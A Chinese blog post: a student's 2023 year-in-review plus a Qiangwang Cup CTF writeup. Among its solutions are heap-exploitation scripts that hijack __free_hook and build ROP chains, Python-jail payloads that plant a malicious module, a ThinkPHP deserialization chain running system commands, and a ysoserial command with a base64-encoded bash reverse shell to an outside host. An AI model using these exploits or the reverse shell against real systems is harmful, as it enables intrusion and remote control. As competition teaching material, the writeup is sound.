Annual Summary of 2023 | Quiet Inside

现在是2023年12月31日下午五点,还有7个小时今年就要结束了,这一年发生了太多的事情,甚至有很大一部分放在过去距离我是遥远与模糊的,所以我还是简单地总结一下今年的成果。

守得云开见月明

2023.3.17,在入门CTF2年之后,终于迎来了本人的第一场线下赛——中国杭州·西湖论剑,很幸运,这次成绩很不错(被带飞)。从那以后,于我而言今年的赛事才正式拉开了序幕,此后,在杭州、南京、上海、哈尔滨、长春、西安、北京都留下了自己的身影。

(贴两张轨迹地图)

94462dfb4298f6495967865e3be993bff8a69be8d3f294c4e5212bb5f96d15​​

出去打比赛住宿和路费基本都是学校报销的,而在美食这方面本人是一直毫不吝啬的,我把这称为投资快乐与幸福,所以这些“公费旅游”确实是非常不错的。自己经过这几年也算是实现经济独立吧,凭借着自己的知识和技术水平赚钱还是很值得庆幸的,也没有白费了努力过的自己。

收获

人这一生说白了,用柏拉图的比喻来说,不就是在走出洞穴吗?我们所看待的一切,一切的狂热,一切的潮流,也许都不过是洞壁的那些倒影,它并不是事物的本性。所以我们希望能够有一种力量,能够让我们有一个调转,看到火光,进而有一种力量能够带着我们能够走出洞穴。所以在这个意义上,为什么说人要读万卷书,人要行万里路,因为读书不就是让我们走出这种时代性的偏见吗?行路,不就是让我们能够走出这种地域性的偏见吗?让我们能够更多地以一颗包容的心来看待事情,也能够接受自己的有限性。不要让自己活在浑浑噩噩之中,也不要让自己活在那种贬义词意义上的随波逐流中。因为死去的东西,才是真正的随波逐流。

今年的年终总结插图,大家应该能看出来,是那位加钱居士,为什么选他呢?因为我觉得他的写照,就是一位足够强大的人,入世出世横着走,遵循自己的心做事,不贪财的加钱居士。今年自己接了许多的项目,赛事支持、出题、培训等等,算是挣了一笔小钱,但也感觉自己慢慢陷入这种金钱与功利的陷阱之中了,也慢慢丢掉了那份学习安全废寝忘食的初心。所以自从实习回来之后,我也就很少参与这些项目了。

学业

警校的大三下学期就要准备公安联考了,我是真的摆烂实习期间基本就没学......11月初的时候哥们儿刚从北京打完比赛回来,学了一个月就上国考考场了,emm轻舟已撞大冰山。不过最近也正在赶进度了,希望最后自己能有一个相对理想的成绩。

(这块真的不想多说了,唉)

来年

个人打算先好好准备公安联考,然后预计在1-2月创办属于自己的一家网络安全公司(小买卖,赚不了多少钱),好好运作发展一下。然后还打算在这个假期去旅游,用自己手上这点资金做本金,然后去全国各地边挣钱,边消费,什么时候浪完什么时候回学校。再之后就要忙着毕设了,我不是很care这个,所以会把重心放在明年的比赛上,之前好多比赛因为自己在准备期末考试或者实习期间所以就很遗憾地错过了,“东隅已逝,桑榆非晚”,回来好好学习渗透,重拾web。

结语

敬来时人,敬同归路!

image

2023强网杯S7 WRITEUP By 你说把爱渐渐放下会走更远

你说把爱渐渐放下会走更远,或许命运的签只让我们遇见~
——《不能说的秘密》

MISC

Wabby Wabbo Radio

f12控制台,发现wav的路由,xh1-5 wav左声道是长短音,右边是戴夫,左右音频都是莫斯,解密出来是一段话IF YOU DON'T KNOW HOW TO DO IT,YOU CAN GO AHEAD AND DO SOMETHING ELSE FIRST

这个地方随手猜了一下,发现有flag.wav,还有hint1和hint2 wav,莫斯解出来两个提示:

HINT1:DO YOU KNOW QAM?

HINT2:MAYBE FLAG IS PNG PICTURE

查看一下这个flag.wav

https://www.zhihu.com/question/278998195

https://ctftime.org/writeup/21167

其实无论是什么QAM,都是要以4bit位进行的

然后我们看一下星座图

由于QAM是对振幅进行调制,所以我们可以从振幅入手进行解调:

我以为是要做星座图,结果不是,卡住了,后来感觉要按照文章里写的爆一下对应方式,结果转换成0123

import scipy.io.wavfile as wav
from Crypto.Util.number import long_to_bytes

def to_int(x):
    """
    将浮点数转换为最接近的整数。
    """
    if x > 0:
        return int(x + 0.5)
    else:
        return int(x - 0.5)

def process(raw_data):
    """
    处理音频数据,将每个采样点的声道值进行转换。
    """
    data = []
    for i in raw_data:
         # 将每个声道的值进行处理并添加到新的数据列表中
        data.append((to_int(i[0]) * 2 + 6) // 4)
        data.append((to_int(i[1]) * 2 + 6) // 4)
    return data

def convert(data):
    """
    将处理过的音频数据转换为字节对象。
    """
    n = 0
    for i in data:
        # 将处理过的数据拼接成一个整数
        n <<= 2
        n += i
    return long_to_bytes(n)

def main():
    _, raw = wav.read('flag.wav')
    print("Raw Audio Data:", raw)
    # 处理音频数据
    data = process(raw)
    print("Processed Data:",data)
    # 将处理过的音频数据转换为字节对象
    byte = convert(data)
    print("Converted Byte Data:",byte)

if __name__ == "__main__":
    main()

然后输出到图片就好了

easyfuzz

九位保证前两个是1,然后前两位是什么都可以,第三位是q,第四位是w,第五位就能直接盲猜出b了,挨着爆破后四位就好

from pwn import *

context.log_level = 'debug'
p = remote('101.200.122.251', 12177)

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
'''
for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwb'+chr(i)+'aaa')
     ru('Here is your code coverage: ')
     if(b'111111000' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()

for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwbG'+chr(i)+'aa')
     ru('Here is your code coverage: ')
     if(b'111111100' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()

for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwbGo'+chr(i)+'a')
     ru('Here is your code coverage: ')
     if(b'111111110' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()
'''
for i in range(0x41,0x7a):
     sla('Enter a string (should be less than 10 bytes): ', '11qwbGoo'+chr(i))
     ru('Here is your code coverage: ')
     if(b'111111111' in r(100)):
          print('OKKKK')
          print(chr(i))
          p.close()

谍影重重3.0

搜索纸飞机 vpn

弹出了shadowsocks,看一下:

应该就是这个了

https://www.ichenxiaoyu.com/ss/

https://wonderkun.cc/2020/02/18/shadowsocks%E7%9A%84%E9%80%9A%E4%BF%A1%E5%8E%9F%E7%90%86%E4%BB%A5%E5%8F%8A%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95%E5%88%86%E6%9E%90/

通过这个函数,知道发送的数据前 decipher_iv_len​ 是加密所用的初始iv的长度,我这里用的加密算法是 aes-256-cfb​,跟一下代码知道这里 decipher_iv_len​ 是16。

可以先用tshark提取出所有的data,然后解密,但是不知道密钥,所以需要爆破了:

需要用到shadowsocks这个库

from shadowsocks import cryptor

def decrypt_data(hex_string, password):
    """
    解密给定的十六进制字符串,使用提供的密码进行解密
    """
    data = bytes.fromhex(hex_string)
    enc = cryptor.Cryptor(password, 'aes-256-cfb')
    decrypted_data = enc.decrypt(data)
    return decrypted_data

def find_password(hex_string, password_file_path):
    """
    在给定密码文件中查找正确的密码,并解密十六进制字符串,检查是否包含字节序列 b'HTTP'
    """
    with open(password_file_path, 'rb') as file:
        # 逐行读取密码列表
        passwords = map(str.strip, map(bytes.decode, file.readlines()))

    for password in passwords:
        decrypted_data = decrypt_data(hex_string, password)

        # 检查解密后的数据中是否包含字节序列 b'HTTP'
        if b'HTTP' in decrypted_data:
            # 如果包含,则打印密码和解密后的数据
            print("Found Password:", password)
            print("Decrypted Data:", decrypted_data.decode())
            # 可以选择在找到密码后终止循环
            break

if __name__ == "__main__":
    # 替换为实际的十六进制字符串和密码文件路径
    hex_string_to_decrypt = ""
    password_file_path = "300mima.txt"

    find_password(hex_string_to_decrypt, password_file_path)

因为不知道到底哪个数据包传输的内容是 http 协议,所以需要多试几次,直到解密成功一个为止。 一旦解密成功,就可以知道一段密文分组经过key加密之后的值,就可以反解出key,进而破解所有数据包。

结果第四个就是HTTP,密钥:superman,

GET /Why-do-you-want-to-know-what-this-is HTTP/1.1
Host: 192.168.159.131
User-Agent: curl/8.4.0
Accept: */*
Connection: close

Why-do-you-want-to-know-what-this-is​md5一下就是flag

谍影重重2.0

https://mode-s.org/decode/content/ads-b/1-basics.html

按照所说,是从hex编码8D之后进行截取,发现length==67的数据包才有8D,筛选导出每个tcp对应数据然后解密:

import pyModeS as pms #单个进行提取,反正也不多,可以手撕
pms.tell("")

(其中之一运行结果)

找到之后,ICAO address要大写计算md5才可以,卡了这个地方好久

Happy Chess

非预期,随便走九次然后exit就success可以直接进入下一关

Pyjail ! It's myFILTER !!!

这道题目环境变量里有非预期,后面也上了 revenge,这里这道题目可以直接通过读环境变量看到 flag

input_code = eval(f"f'{input_code}'")

需要我们利用的就是这里的这个 eval 中的 format,我们的 input 会替换掉这里的 {input_code}

源码中给出了一系列的黑名单,方法禁用等等,同时在最后还写了一个必须要存在 {} 的逻辑,且长度不能小于65

open、read、print 都没被禁用,这里我们可以利用这里的拼接,前后闭合一下直接读,不过这里需要注意前后拼接的时候类型要一直,套个str

{1}'+str(print(open("/proc/self/environ").read()))+'

Pyjail ! It's myRevenge !!!

修了环境变量,但是上面的读文件没有修改,不过留下了一个 start.sh 让人死心:

#!/bin/sh
# Add your startup script

# # CMD sed -i "s/FLAG/$ICQ_FLAG/" /home/ctf/flag* && unset ICQ_FLAG && rm -rf /etc/profile.d/pouchenv.sh && rm -rf /etc/instanceInfo && socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server.py",pty,stderr,setsid,sane,raw,echo=0

# FLAG_PATH=/flag
FLAG_PATH=/home/ctf/flag_`hexdump -n 32 -v -e '/1 "%02X"' /dev/urandom`
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
        "M_ECHO")
            echo -n ${ICQ_FLAG} > ${FLAG_PATH}
            FILE_MODE=755 # 注意这里的权限,flag的权限一定要注意,是所有用户可读,还是只有root可读
            chmod ${FILE_MODE} ${FLAG_PATH}
            ;;
        "M_SED")
            #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
            sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            ;;
        "M_SQL")
            # sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
            # mysql -uroot -proot < ${FLAG_PATH}
            ;;
        *)
            ;;
    esac
    echo [+] ICQ_FLAG OK
    unset ICQ_FLAG
else
    echo [!] no ICQ_FLAG
fi

#del eci env
rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo

#clear fd
rm -rf /start.sh /root/start.sh

socat TCP-L:9999,fork,reuseaddr EXEC:"python3 ./server_8F6C72124774022B.py",pty,stderr,setsid,sane,raw,echo=0 &
exec tail -f /dev/null

可以看到 FLAGPATH=/home/ctf/flaghexdump -n 32 -v -e '/1 "%02X"' /dev/urandom​,这样就必须要rce了

延续上面题目的思路,这里是先发现了可以写文件,但是当前文件占用了,而且存在黑名单和长度限制不好利用。

这里只禁用了一些基类,list globals 等能够用来取类的函数方法并没有禁用,简单查看一下可以发现我们的黑名单参数是存在 global 里的,同时想到了 clear 函数没有禁用,中括号也没有禁用,我们可以直接把黑名单取出来 clear 掉

但是就算取出来了我们的长度也是不能完成后续操作的,又卡住了一段时间

突然看到这里是个 while 循环,那么我们的内容实际上是会执行多次的,如果还能够执行的话,这里题目中给出的格式化字符串利用给了提示,这样就可以通过 input 在清空之后再进行后续利用了,

然后就想到了一开始的写文件,

这里能写敏感文件了之后的应用就比较常规了,我们可以在当前目录下写一个程序 import 的库文件,这样程序会优先import 我们写的文件

直接写一个文件肯定是不行的 长度不够,还是要分多次写然后用read读出来一次写进去如下:

{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','w').write('import os'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write(';print(os'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('.popen(\''))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('cat f*>f'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('\')'))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('1','a').write('.read())'))+'{1}
{1}'+str(print(open("1").read()))+'

构造好了如上 payload ,将这个 payload 往一个程序可以 import 的文件中写即可,

{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(open('pty.py','w').write(open('1').read()))+'{1}
{1}'+str(list(globals().values())[-2].clear())+'f"{inp'+'ut()}"
'+str(print(open("pty.py").read()))+'{1}

'+str(print(open("f").read()))+'{1}

此时已经完成 import pty中我们的恶意代码, cat 完 flag 了,直接去读我们写出来的 f 即可

REVERSE

ezre

sm4加密

看到ok字符串,向上查找调用函数

通过此特征判断为sm4加密,

v14是密文,v15是key,在线网站解密

CRYPTO

not only rsa

遇事不决分解n

p=91027438112295439314606669837102361953591324472804851543344131406676387779969

得到p**5

phin也就很简单了

gcd一看有公因子有限域开根即可

得到flag

from Crypto.Util.number import *
from gmpy2 import gcd
n = 6249734963373034215610144758924910630356277447014258270888329547267471837899275103421406467763122499270790512099702898939814547982931674247240623063334781529511973585977522269522704997379194673181703247780179146749499072297334876619475914747479522310651303344623434565831770309615574478274456549054332451773452773119453059618433160299319070430295124113199473337940505806777950838270849
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
p = 91027438112295439314606669837102361953591324472804851543344131406676387779969

phi =(p**5)-(p**4)
print(gcd(e,phi))

m = Zmod(p ** 5)(c).nth_root(e,all=True)

for i in m:
    flag = long_to_bytes(int(i))
    if b'flag{' in flag:
        flag= flag.decode()
        print(flag)

discrete_log

尝试直接用pohlig-hellman,发现p-1不光滑

采用中间相遇思想进行爆破

import itertools
from Crypto.Util.number import *

p = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299
g = 5
c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854
l = 12
flag_template = 'flag{' + '\x00' * l + '}'
flag_template1 = flag_template + (128 - len(flag_template)) * chr(128 - len(flag_template))
tmp = pow(g,bytes_to_long(flag_template1.encode()),p)
c_ = c * inverse(int(tmp),p) % p
c_ = pow(c_,inverse(256 ** (128 - len(flag_template)+1),(p - 1) // 2),p)

ssss = {}

gshift = pow(g,256 ** (l//2),p)
from tqdm import tqdm
table = "0123456798abcdef"
for each in tqdm(itertools.product(table,repeat=l//2)):
    preflag = ''.join(i for i in each)
    #print(preflag)
    pre = bytes_to_long(preflag.encode())
    cc = c_ * inverse(int(pow(gshift,pre,p)),p) % p
    ssss[cc] = preflag

for each in tqdm(itertools.product(table,repeat=l//2)):
    tailflag = ''.join(i for i in each)
    tail = bytes_to_long(tailflag.encode())
    cc = pow(g,tail,p)
    if cc in ssss:
        print(ssss[cc]+tailflag)
        exit()

PWN

chatting

import os
import sys
import time
from pwn import *
from ctypes import *

p = remote('101.200.122.251', 14509)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')

#==================================================#

s       = lambda data               :p.send(data)
sa      = lambda text, data         :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text, data         :p.sendlineafter(text, data)
r       = lambda num                :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :p.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :p.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
itr     = lambda                    :p.interactive()

#==================================================#

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

def add(username):
        p.sendlineafter('listuser, exit): ','add')
        p.sendlineafter('Enter new username: ',username)

def delete(username):
        p.sendlineafter('listuser, exit): ','delete')
        p.sendlineafter('Enter username to delete: ',username)

def switch(username):
        p.sendlineafter('listuser, exit): ','switch')
        p.sendlineafter('Enter username to switch to: ',username)

def read():
        p.sendlineafter('listuser, exit): ','read')

def message(username, size, content):
        p.sendlineafter('listuser, exit): ','message')
        p.sendlineafter('To: ',str(username))
        p.sendlineafter('Message size: ',str(size))
        p.sendafter('Content: ',content)

def duan():
        gdb.attach(p)
        pause()

#================ leak the libc ===============#
#================ leak heap base ================#
sla('Enter new username: ', b'k')
message('k',0x460,'hello')
message('k',0x20,'hello')
message('k',0x20,'hello')
delete('k')
read()
#duan()
ru(b'k -> k: ')
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))-0x3ebca0
ru(b'k -> k: ')
ru(b'k -> k: ')
heap_base=u64(r(6).ljust(8, b'\x00'))-0x1a880
lg('libc_base')
lg('heap_base')

#================ prepare to set up the rop ===============#

free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system'] 
og=[0x4f2a5,0x4f302,0x10a2fc]

#==========================================================#
add('k')
add('aaaa')
add('bbbb')
add('cccc')
for i in range(7):
    message('k',0x20,'k')
delete('k')
for i in range(5):
        message('dead',0x20,'k')
switch('aaaa')
for i in range(5):
        message('aaaa',0x20,'k')
switch('bbbb')
for i in range(7):
    message('bbbb',0x20,'k')
delete('bbbb')
delete('aaaa')
message('dead',0x30,'k')
for i in range(7):
        message('cccc',0x20,'/bin/sh\x00')
message('cccc',0x20,p64(free_hook))
for i in range(2):
        message('cccc',0x20,'/bin/sh\x00')
message('cccc',0x20,p64(system))
delete('cccc')
#duan()
itr()

simpleinterpreter

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p=remote('101.200.122.251',13410)

#==================================================#

s       = lambda data               :p.send(data)
sa      = lambda text, data         :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text, data         :p.sendlineafter(text, data)
r       = lambda num                :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :p.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :p.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
itr     = lambda                    :p.interactive()

#==================================================#

#p=process("./simpleinterpreter")
ru("Code size:")

code="""
#include <stdio.h>
#include <stdlib.h>

int main() {
    int *a1, *a2, *a3, *a4, *a5, *a6, *a7, *a8, *a9, *a10;
    int libc_base, free_hook, system, bin_sh;

    a3 = malloc(0x100);
    a4 = malloc(0x100);
    a5 = malloc(0x100);
    a6 = malloc(0x100);
    a7 = malloc(0x100);
    a8 = malloc(0x100);
    a9 = malloc(0x100);
    a10 = malloc(0x100);

    malloc(0x10);

    free(a3);
    free(a4);
    free(a5);
    free(a6);
    free(a7);
    free(a8);
    free(a9);
    free(a10);

    libc_base = *a10 - 0x3ebca0;
    printf("Libc Base: %p\n", libc_base);

    free_hook = libc_base + 0x3ed8e8;
    system = libc_base + 0x4f420;
    bin_sh = libc_base + 0x1b3d88;

    a1 = malloc(0x40);
    a2 = malloc(0x40);
    free(a1);
    free(a2);

    *a2 = free_hook;

    a1 = malloc(0x40);
    a2 = malloc(0x40);
    *a2 = system;

    free((void *)bin_sh);
    return 0;
}
"""

sl(str(len(code)))
ru("Please give me the code to interpret:")
sl(code)
itr()

warmup23

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = remote('120.24.69.11',12700)
elf = ELF('./warmup')
libc = ELF('./libc.so.6')

#==================================================#

s       = lambda data               :p.send(data)
sa      = lambda text, data         :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text, data         :p.sendlineafter(text, data)
r       = lambda num                :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4, b"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
lg      = lambda s                  :p.success('\033[32m%s -> 0x%x\033[0m' % (s, eval(s)))
lgl     = lambda s, value           :p.success('\033[32m%s -> 0x%x\033[0m' % (s, value))
itr     = lambda                    :p.interactive()

#==================================================#

add_idx = 1
show_idx = 2
delete_idx = 3

def add(size, content):
    sla('>> ', b'1')
    sla('Size: ', str(size))
    sa('Note: ', content)

def show(idx):
    sla('>> ', b'2')
    sla('Index: ', str(idx))

def delete(idx):
    sla('>> ', b'3')
    sla('Index: ', str(idx))

def duan():
    gdb.attach(p)
    pause()

#==================================================#

add(0x6d48, b'aaaa')   
add(0x508, b'aaaa')  
add(0x68, b'aaaa')   
add(0x88, b'bbbb')  
add(0x88, b'bbbb')  
add(0x108, b'aaaa')   
add(0x108, b'aaaa')   
add(0x4f8, b'kkkk')   
add(0x18, b'aaaa')  
add(0x4f8, b'kkkk')  
add(0x18, b'aaaa')  
add(0x518, b'bbbb')   
add(0x18, b'aaaa')   
delete(9)
delete(11)
delete(1)
add(0x1000, b'aaaa')  
pl=flat(0, b'\xb1\x08\x00\x00\x00\x00')
add(0x508, pl)  
add(0x518, b'\x10')  
add(0x4f8, b'aaaa')  
delete(13)
delete(7)
pl=flat(0, b'\x10')
add(0x4f8, pl)   
add(0x4f8, b'aaaa')   
delete(6)
pl=b'\x00' * 0x100 + p64(0x8b0)
add(0x108, pl)   
delete(13)

#================ leak the libc ===============#

add(0x4f8, b'aaaa')   
show(2)
libc_base = uu64() - 0x219ce0
lg('libc_base')

#================ leak heap base ================#

add(0x18, b'aaaa')   
delete(14)
show(2)
ru('Note: ')
key = u64(r(5).ljust(8, b'\x00'))
lg('key')
heap_base = (key << 12) - 0x7000
lg('heap_base')

#================ prepare to set up the rop ===============#

IO_2_1_stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']

rdi=libc_base + 0x000000000002a3e5
rsi=libc_base + 0x000000000002be51
rdx=libc_base + 0x00000000000796a2
rax=libc_base + 0x0000000000045eb0
#syscall = libc_base + libc.sym['syscall']
syscall = libc_base + 0x0000000000091316

#================ leak heap stack================#

delete(4)
delete(3)
pl = b'\x00' * 0x48 + p64(0x91) + p64(IO_2_1_stdout ^ key)
add(0x98, pl)
add(0x88, b'bbbb')  
pl = flat(0xfbad1800, 0 , 0 , 0 , environ, environ + 8)
add(0x88, pl)
stack = uu64()
lg('stack')

delete(6)
delete(5)
pl=b'\x00' * 0xc8 + p64(0x111) + p64((stack - 0x148) ^ key)
add(0x128, pl)
add(0x108, b'bbbb')

#================ prepare to set up the orw ===============#

flag_addr = stack - 0x148
target = heap_base + 0x100
pl = b'./flag\x00\x00'
pl += p64(rdi) + p64(flag_addr)
pl += p64(rsi) + p64(0)
pl += p64(rdx) + p64(0)
pl += p64(rax) + p64(2)
pl += p64(syscall)
pl += p64(rdi) + p64(3)
pl += p64(rsi) + p64(target)
pl += p64(rdx) + p64(0x50)
pl += p64(rax) + p64(0)
pl += p64(syscall)
pl += p64(rdi) + p64(1)
pl += p64(rsi) + p64(target)
pl += p64(rdx) + p64(0x50)
pl += p64(rax) + p64(1)
pl += p64(syscall)
add(0x108, pl)

itr()

WEB

thinkshop

先进入网站,发现是一个购买flag的页面,也没啥特别的地方,随便输一个域名,发现为thinkphp V5.0.23

然后去扫一下目录,找到了/application和/vendor,熟悉tp框架MVC的可以想到去/application里找相关的页面源码

拿到附件,docker运行一把,拷贝下目录做代审

先试了下v5.0.23的poc,发现没用

再试试v5.0.24的poc,参考下文:

https://atmujie.github.io/2021/10/03/%E9%80%9A%E8%BF%87revengephp%E7%90%86%E8%A7%A3thinkphp%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/#toc-heading-6

审计源码:在html\application\index\model\goods.php中找到了一个反序列化的参数

再根据得到的目录进去找到一个后台登录页面/public/index.php/index/admin/login.html

此处写的是通过匹配主键id 来进行匹配登陆的 所以 1 123456 进行登陆

可以修改,进去抓个包

每一个能修改的行和下面post传的参对应,找到update.php的更新部分

此处insert into KEY VALUES $value,原本在网页上改是修改value,而本题是要修改data,源码是data as key,所以把value注释掉,去修改data

先根据上面的文章把pop链构造好,给出poc:

<?php
//class Request 执行终点
namespace think;
class Request{
    protected $filter;
    protected $get = ['atmujie'=>'cat /fffflllaaaagggg'];
    public function __construct()
    {
        $this->filter = "system";
    }
}

//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
    protected $handler;
    protected $tag = "test";
    protected $options = ['prefix'=>'atmujie/'];
    public function __construct()
    {
        $this->handler = new Request();
    }
}

//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}

//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
    protected $handler;
    public function __construct()
    {
        $this->handler = new \think\cache\driver\Memcache();
    }
}

//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
    private $handle;
    protected $styles = ['getAttr'];
    public function __construct()
    {
        $this->handle = new Memcache();
    }
}

// TODO 断点
//class Query 指向Output
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
    protected $query;
    public function __construct()
    {
        $this->query = new Query();
    }
}

//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
use think\db\exception\ModelNotFoundException;
abstract class OneToOne extends Relation {
    protected $query;//去进行触发下一条链
    protected $bindAttr = [];
    public function __construct()
    {
        parent::__construct();
        $this->query = new ModelNotFoundException();
        // $this->bindAttr = ["no","123"];
        $this->bindAttr = ["test"=>"test"];
    }
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

    protected $model;
    public  function __construct()
    {
        $this->model=new Output();
    }
}

//class BelongsTo extends OneToOne
namespace think\model\relation;
class BelongsTo extends OneToOne{}

//abstract class Model 指向Output类__call()
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
abstract class Model{
    protected $error;
    protected $append = [];
    protected $parent;
    public function __construct()
    {
            $this->append =['getError'];
            $this->error = new BelongsTo();
            $this->parent = new Output();
    }
}

//class Pivot extends Model 继承Model,通过此类调用进Model
namespace think\model;
use think\Model;
class Pivot extends Model{}

//abstract class Pipes Windows继承类
namespace think\process\pipes;
abstract class Pipes{}

//class Windows extends Pipes 起点类 指向Pivot类
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

namespace think\process\pipes;
$a = array(0=>new Windows());
echo base64_encode(serialize($a));
?>

生成注入参数,抓包注入,发现修改成功

比赛结束了,忘记截图了,用了自己docker起的

happygame

Nc 之后啥也看不出来,就返回仨问号,把返回的内容搞出来看一下十六进制,发现如下内容

扔到github上搜

发现是一个 grpc 的报错内容,

查看文档发现需要用 grpcurl 访问,然后用法上就看 help 结合 不断拷打 gpt,得到大概如下一些内容:

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 list
grpc.reflection.v1alpha.ServerReflection
helloworld.Greeter

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 describe helloworld.Greeter
helloworld.Greeter is a service:
service Greeter {
  rpc ProcessMsg ( .helloworld.Request ) returns ( .helloworld.Reply );
  rpc SayHello ( .helloworld.HelloRequest ) returns ( .helloworld.HelloReply );
}

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 describe helloworld.Greeter.ProcessMsg
helloworld.Greeter.ProcessMsg is a method:
rpc ProcessMsg ( .helloworld.Request ) returns ( .helloworld.Reply );

root@sp4c1ous:/mnt/e/GoogleDownload/grpcurl_1.8.9_linux_x86_64# ./grpcurl -plaintext 8.147.129.191:18752 describe helloworld.Request
helloworld.Request is a message:
message Request {
  bytes serializeData = 1;
}

可以看到这里给出了一个 serializeData,实际上也就是参数内容,结合对之前 grpc 项目的简单翻阅,grpc 没有查看依赖库的功能,猜测这里就是盲打反序列化了,ysoserial 乱生成些链子打

最后CC6可以RCE

root@sp4c1ous:/mnt/d/tools/Web tools/ysoserial-master# java -jar ./ysoserial.jar CommonsCollections6 "bash -c {echo,YmFz
aCAtaSA+JiAvZGV2L3RjcC80Ny4xMDQuMTQuMTYwLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}"|base64
